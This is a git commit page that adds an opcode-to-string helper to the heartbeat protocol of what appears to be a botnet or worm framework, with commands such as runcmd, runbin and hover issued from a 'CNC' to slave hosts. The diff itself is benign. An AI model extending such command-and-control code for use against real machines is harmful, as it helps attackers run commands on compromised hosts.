aboutsummaryrefslogtreecommitdiff
path: root/src/protocol.c
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2021-04-13 14:52:26 +1000
committerDavid Timber <mieabby@gmail.com>2021-04-13 14:52:26 +1000
commit062454f554b77c86d9eb738d025263e1e7003ebd (patch)
tree1966f1e0daa583d57342d943b1996d8ce9b01025 /src/protocol.c
parentf91419f6b3400a6b73f7d2b3c7b8044b6aa490db (diff)
Debug and impl htbt
* Add debug prints in htbt * Add `prne_htbt_op_tostr()` * Add "Lock Matrix" to throttle hover request from CNC TXT REC and NYBIN race condition * Fix bug where htbt slave does not reset socket operation timeout timer when there's multiple frames in the line * Reserve `PRNE_HTBT_OP_GET_BIN` and `PRNE_HTBT_OP_BIN` for future impl
Diffstat (limited to 'src/protocol.c')
-rw-r--r--src/protocol.c17
1 files changed, 17 insertions, 0 deletions
diff --git a/src/protocol.c b/src/protocol.c
index b89b09a..f936787 100644
--- a/src/protocol.c
+++ b/src/protocol.c
@@ -112,6 +112,23 @@ bool prne_net_ep_set_ipv6 (
return inet_pton(AF_INET6, str, &out->addr.addr) != 0;
}
+const char *prne_htbt_op_tostr (const prne_htbt_op_t x) {
+ switch (x) {
+ case PRNE_HTBT_OP_NOOP: return "noop";
+ case PRNE_HTBT_OP_STATUS: return "status";
+ case PRNE_HTBT_OP_HOST_INFO: return "hostinfo";
+ case PRNE_HTBT_OP_HOVER: return "hover";
+ case PRNE_HTBT_OP_SOLICIT: return "solicit";
+ case PRNE_HTBT_OP_RUN_CMD: return "runcmd";
+ case PRNE_HTBT_OP_NY_BIN: return "nybin";
+ case PRNE_HTBT_OP_RUN_BIN: return "runbin";
+ case PRNE_HTBT_OP_STDIO: return "stdio";
+ case PRNE_HTBT_OP_GET_BIN: return "getbin";
+ case PRNE_HTBT_OP_BIN: return "bin";
+ }
+ return NULL;
+}
+
void prne_htbt_init_msg_head (prne_htbt_msg_head_t *mh) {
mh->op = PRNE_HTBT_OP_NOOP;
mh->id = 0;